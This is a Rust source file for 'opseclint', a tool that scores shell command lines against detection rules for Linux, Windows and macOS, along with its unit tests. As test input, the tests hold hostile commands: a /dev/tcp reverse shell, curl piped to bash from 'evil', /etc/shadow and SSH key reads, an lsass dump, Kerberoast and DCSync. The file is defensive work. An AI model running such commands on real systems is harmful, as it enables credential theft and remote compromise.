use std::collections::HashSet;
use crate::kb;
use crate::model::{Finding, KnowledgeBase, Report, Severity};
use crate::parser::{self, parse_line};
fn finding_from_entry(
entry: &crate::model::KbEntry,
line: usize,
matched_command: Option<crate::parser::Command>,
) -> Finding {
Finding {
line,
source: "opseclint".to_string(),
rule_id: entry.id.clone(),
description: entry.description.clone(),
techniques: entry.techniques.clone(),
telemetry: entry.telemetry.clone(),
detections: entry.detections.clone(),
noise: entry.noise,
severity: Severity::from_noise(entry.noise),
matched_command,
}
}
pub fn analyze(input: &str, kb: &KnowledgeBase) -> Report {
let mut findings = Vec::new();
let mut lines_analyzed = 0;
for unit in parser::preprocess(input) {
let trimmed = unit.text.trim();
if trimmed.is_empty() || trimmed.starts_with('#') {
continue;
}
lines_analyzed += 1;
let mut commands = parse_line(&unit.text);
for sub in parser::command_substitutions(&unit.text) {
commands.extend(parse_line(&sub));
}
let mut seen: HashSet<&str> = HashSet::new();
for entry in &kb.entries {
let (matched, matched_command) = if entry.command.is_some() {
let cmd = commands
.iter()
.find(|cmd| kb::command_entry_matches(entry, cmd))
.cloned();
(cmd.is_some(), cmd)
} else if kb::raw_entry_matches(entry, trimmed) {
(true, commands.first().cloned())
} else {
(false, None)
};
if matched && seen.insert(entry.id.as_str()) {
findings.push(finding_from_entry(entry, unit.line, matched_command));
}
}
}
findings.sort_by(|a, b| {
b.noise
.cmp(&a.noise)
.then(a.line.cmp(&b.line))
.then(a.rule_id.cmp(&b.rule_id))
});
let max_noise = findings.iter().map(|f| f.noise).max().unwrap_or(0);
Report {
platform: kb.platform.clone(),
note: kb.note.clone(),
findings,
max_noise,
lines_analyzed,
}
}
#[cfg(test)]
mod tests {
use super::*;
fn kb() -> KnowledgeBase {
kb::load(kb::Platform::LinuxAuditd).expect("embedded KB must parse")
}
fn win_kb() -> KnowledgeBase {
kb::load(kb::Platform::WindowsSysmon).expect("windows KB must parse")
}
fn mac_kb() -> KnowledgeBase {
kb::load(kb::Platform::MacosEs).expect("macos KB must parse")
}
#[test]
fn macos_kb_detects_keychain_and_gatekeeper() {
let report = analyze("security dump-keychain -d login.keychain", &mac_kb());
assert_eq!(report.platform, "macos-es");
assert!(report.findings.iter().any(|f| f.rule_id == "keychain-dump"));
let gk = analyze("sudo spctl --master-disable", &mac_kb());
let f = gk
.findings
.iter()
.find(|f| f.rule_id == "gatekeeper-disable")
.unwrap();
assert_eq!(f.techniques[0].id, "T1553.001");
}
#[test]
fn windows_kb_detects_lolbin_and_normalizes_exe_path() {
let report = analyze(
"C:\\Windows\\System32\\certutil.exe -urlcache -f http://x/a.exe a.exe",
&win_kb(),
);
assert_eq!(report.platform, "windows-sysmon");
assert!(
report
.findings
.iter()
.any(|f| f.rule_id == "certutil-download")
);
}
#[test]
fn windows_kb_detects_lsass_dump() {
let report = analyze(
"rundll32.exe C:\\windows\\system32\\comsvcs.dll, MiniDump 660 lsass.dmp full",
&win_kb(),
);
assert!(report.findings.iter().any(|f| f.rule_id == "lsass-comsvcs"));
}
#[test]
fn windows_kb_detects_ad_tradecraft() {
let report = analyze("Invoke-Kerberoast -OutputFormat Hashcat", &win_kb());
assert!(
report
.findings
.iter()
.any(|f| f.rule_id == "kerberoast-invoke")
);
let dcsync = analyze("lsadump::dcsync /domain:corp.local /user:krbtgt", &win_kb());
let f = dcsync
.findings
.iter()
.find(|f| f.rule_id == "dcsync")
.unwrap();
assert_eq!(f.techniques[0].id, "T1003.006");
}
#[test]
fn detects_reverse_shell() {
let report = analyze("bash -i >& /dev/tcp/10.0.0.1/4444 0>&1", &kb());
assert!(
report
.findings
.iter()
.any(|f| f.rule_id == "reverse-shell-devtcp")
);
assert!(report.max_noise >= 75);
}
#[test]
fn detects_shadow_read() {
let report = analyze("sudo cat /etc/shadow", &kb());
assert!(report.findings.iter().any(|f| f.rule_id == "shadow-read"));
}
#[test]
fn detects_curl_pipe_bash() {
let report = analyze("curl http://evil/x.sh | bash", &kb());
let ids: Vec<_> = report.findings.iter().map(|f| f.rule_id.as_str()).collect();
assert!(ids.contains(&"curl"));
assert!(ids.contains(&"pipe-to-shell"));
}
#[test]
fn benign_line_is_quiet() {
let report = analyze("echo hello world", &kb());
assert!(report.findings.is_empty());
}
#[test]
fn no_double_count_per_line() {
let report = analyze("id && id", &kb());
let count = report.findings.iter().filter(|f| f.rule_id == "id").count();
assert_eq!(count, 1);
}
#[test]
fn detects_private_key_theft() {
let report = analyze("cp ~/.ssh/id_rsa /tmp/k", &kb());
assert!(
report
.findings
.iter()
.any(|f| f.rule_id == "private-key-rsa")
);
}
#[test]
fn detects_docker_socket_escape() {
let report = analyze(
"curl --unix-socket /var/run/docker.sock http://x/containers/json",
&kb(),
);
assert!(report.findings.iter().any(|f| f.rule_id == "docker-sock"));
}
#[test]
fn kb_all_entries_parse() {
let kb = kb();
assert!(
kb.entries.len() >= 55,
"expected a grown KB, got {}",
kb.entries.len()
);
}
#[test]
fn resolves_command_in_substitution() {
let report = analyze("data=$(cat /etc/shadow)", &kb());
assert!(report.findings.iter().any(|f| f.rule_id == "shadow-read"));
}
#[test]
fn analyzes_shell_heredoc_body_at_correct_line() {
let script = "bash <<EOF\nid\ncurl http://evil/x | bash\nEOF\n";
let report = analyze(script, &kb());
let f = report
.findings
.iter()
.find(|f| f.rule_id == "pipe-to-shell")
.expect("pipe-to-shell should be found in heredoc body");
assert_eq!(f.line, 3);
}
#[test]
fn ignores_data_heredoc_body() {
let script = "cat <<EOF > /tmp/conf\npassword=hunter2\nEOF\n";
let report = analyze(script, &kb());
assert!(report.findings.is_empty());
}
}